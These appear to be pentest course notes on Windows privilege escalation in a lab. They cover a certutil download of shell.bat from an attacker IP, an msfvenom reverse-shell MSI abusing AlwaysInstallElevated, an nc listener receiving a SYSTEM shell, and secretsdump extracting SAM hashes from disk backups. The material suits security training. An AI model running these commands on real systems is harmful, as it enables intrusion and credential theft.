certutil.exe intended use is for handling certificates but can also be used to transfer files by either downloading a file to disk or base64 encoding/decoding a file.
PS C:\xyz> certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
We can use the
-encode flag to encode a file using base64 on our Windows attack host and copy the contents to a new file on the remote system.
C:\xyz> certutil -encode file1 encodedfile Input Length = 7 Output Length = 70 CertUtil: -encode command completed successfully
Once the new file has been created, we can use the
-decode flag to decode the file back to its original contents.
C:\xyz> certutil -decode encodedfile file2 Input Length = 70 Output Length = 7 CertUtil: -decode command completed successfully.
Always Install Elevated
This setting can be set via Local Group Policy by setting
Always install with elevated privileges to
Enabled under the following paths
Computer Configuration\Administrative Templates\Windows Components\Windows Installer
User Configuration\Administrative Templates\Windows Components\Windows Installer
Enumerating Always Install Elevated Settings
PS C:\xyz> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1
PS C:\xyz> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1
AlwaysInstallElevated key exists, so the policy is indeed enabled on the target system.
We can exploit this by generating a malicious MSI package and execute it via the command line to obtain a reverse shell with SYSTEM privileges.
neutron@kali[/kali]$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of msi file: 159744 bytes
upload this MSI file to our target, start a listener and execute the file
C:\xyz> msiexec /i c:\users\user\desktop\aie.msi /quiet /qn /norestart
we will receive a connection back as NT AUTHORITY\SYSTEM
neutron@kali[/kali]$ nc -lnvp 9443 listening on [any] 9443 ... connect to [10.10.14.3] from (UNKNOWN) [10.129.43.33] 49720 Microsoft Windows [Version 10.0.18363.592] (c) 2019 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
This issue can be mitigated by disabling the two Local Group Policy settings mentioned above.
Enumerating Scheduled Tasks
We can use the schtasks command to enumerate scheduled tasks on the system.
C:\xyz> schtasks /query /fo LIST /v Folder: \ INFO: There are no scheduled tasks presently available at your access level. Folder: \Microsoft INFO: There are no scheduled tasks presently available at your access level. Folder: \Microsoft\Windows INFO: There are no scheduled tasks presently available at your access level. Folder: \Microsoft\Windows\.NET Framework HostName: WINLPE-SRV01 TaskName: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 Next Run Time: N/A Status: Ready Logon Mode: Interactive/Background Last Run Time: 5/27/2021 12:23:27 PM Last Result: 0 Author: N/A Task To Run: COM handler <SNIP>
PowerShell cmdlet for this:
PS C:\xyz> Get-ScheduledTask | select TaskName,State TaskName State -------- ----- .NET Framework NGEN v4.0.30319 Ready .NET Framework NGEN v4.0.30319 64 Ready .NET Framework NGEN v4.0.30319 64 Critical Disabled .NET Framework NGEN v4.0.30319 Critical Disabled AD RMS Rights Policy Template Management (Automated) Disabled AD RMS Rights Policy Template Management (Manual) Ready PolicyConverter Disabled SmartScreenSpecific Ready VerifiedPublisherCertStoreCheck Disabled Microsoft Compatibility Appraiser Ready ProgramDataUpdater Ready StartupAppTask Ready appuriverifierdaily Ready appuriverifierinstall Ready CleanupTemporaryState Ready DsSvcCleanup Ready Pre-staged app cleanup Disabled <SNIP>
It is not uncommon for system administrators to go against security practices and perform actions such as provide read or write access to a folder usually reserved only for administrators. We (though rarely) may encounter a scheduled task that runs as an administrator configured with weak file/folder permissions for any number of reasons. In this case, we may be able to edit the task itself to perform an unintended action or modify a script run by the scheduled task.
Checking Permissions on C:\Scripts Directory
C:\xyz> .\accesschk64.exe /accepteula -s -d C:\Scripts\ Accesschk v6.13 - Reports effective permissions for securable objects Copyright ⌐ 2006-2020 Mark Russinovich Sysinternals - www.sysinternals.com C:\Scripts RW BUILTIN\Users RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators
Checking Local User Description Field
PS C:\xyz> Get-LocalUser Name Enabled Description ---- ------- ----------- Administrator True Built-in account for administering the computer/domain DefaultAccount False A user account managed by the system. Guest False Built-in account for guest access to the computer/domain helpdesk True user True user_adm True jordan True logger True sarah True sccm_svc True secsvc True Network scanner - do not change password sql_dev True
Enumerating Computer Description Field with Get-WmiObject Cmdlet
PS C:\xyz> Get-WmiObject -Class Win32_OperatingSystem | select Description Description ----------- The most vulnerable box ever!
If we can mount a share from our Linux attack box or copy over one of these files, we can mount them and explore the various operating system files and folders as if we were logged into them using the following commands.
Mount VMDK on Linux
neutron@kali[/kali]$ guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
Mount VHD/VHDX on Linux
neutron@kali[/kali]$ guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
In Windows, we can right-click on the file and choose Mount, or use the Disk Management utility to mount a .vhd or .vhdx file. If preferred, we can use the Mount-VHD PowerShell cmdlet. Regardless of the method, once we do this, the virtual hard disk will appear as a lettered drive that we can then browse.
This guide illustrates many methods for gaining access to the files on a .vmdk file.
Why do we care about a virtual hard drive (especially Windows)? If we can locate a backup of a live machine, we can access the
C:\Windows\System32\Config directory and pull down the SAM, SECURITY and SYSTEM registry hives. We can then extract the password hashes for local users.
neutron@kali[/kali]$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020 SecureAuth Corporation [*] Target system bootKey: 0x35fb33959c691334c2e4297207eeeeba [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username:hash) <SNIP>